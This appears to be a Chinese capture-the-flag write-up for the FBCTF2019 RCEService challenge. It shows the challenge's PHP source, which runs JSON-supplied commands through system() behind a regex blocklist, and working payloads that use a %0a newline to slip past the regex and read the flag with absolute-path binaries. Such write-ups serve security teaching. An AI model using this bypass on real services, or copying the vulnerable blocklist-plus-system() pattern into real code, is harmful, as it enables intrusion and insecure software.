[FBCTF2019]RCEService

源码

python 复制代码
<?php
putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}
?>

putenv('PATH=/home/rceservice/jail');

改变了环境变量, 也就无法直接使用cat这样的命令了

需要一个完整的路径比如 /bin/cat

可以在自己的vps上面在bin目录下找到这些命令

复制代码
preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)

*$可以通过多行绕过, %0a可以绕过

json_decode($json, true)['cmd']解码成一个关联数组, 通过下标cmd访问

所以就是{%0a"cmd": "命令"%0a}的形式

列出根目录
?cmd={%0a"cmd": "/bin/ls /"%0a}

没有发现flag, 使用find命令查找一下
?cmd={%0a"cmd": "/usr/bin/find / -name 'flag'"%0a}

拿flag
?cmd={%0a"cmd": "/bin/cat /home/rceservice/flag"%0a}

相关推荐
曲幽12 小时前
让 FastAPI Agent 思考不阻塞:手把手教你实现异步任务与后台处理方案
redis·python·agent·fastapi·web·async·celery·ai agent·backgroundtask
yv_3012 小时前
CTFShow-XXE
ctf·ctfshow·xxe漏洞
其实防守也摸鱼16 小时前
upload-labs靶场的pass-2~12的解题步骤及原理讲解
笔记·安全·web安全·网络安全·教程·web·工具
带刺的坐椅17 小时前
SolonCode v2026.5.13 发布:开启“数字员工”新时代
web·ai编程·soloncode·im机器人
我命由我123453 天前
Dart - Dart SDK、Hello World 案例、变量声明、常量声明、常量 final、字符串类型
前端·flutter·前端框架·html·web·dart·web app
曲幽3 天前
让FastAPI Agent真正记住你:聊聊会话记忆与持久化存储的落地实践
redis·python·postgresql·fastapi·web·chat·async·session·ai agent
_Twink1e3 天前
基于Vue的纯前端的库存销售系统
前端·vue.js·vue·web
TA远方3 天前
【JavaScript】Promise对象使用方式研究和理解
javascript·编程·脚本·web·js·promise·委托
白鳯3 天前
塔罗神谕:星月神域莱诺薇为您占卜
react·web·three.js·codex·deepseek·vibe coding·塔罗占卜
.唉5 天前
06. FastAPI框架从入门到实战
python·fastapi·web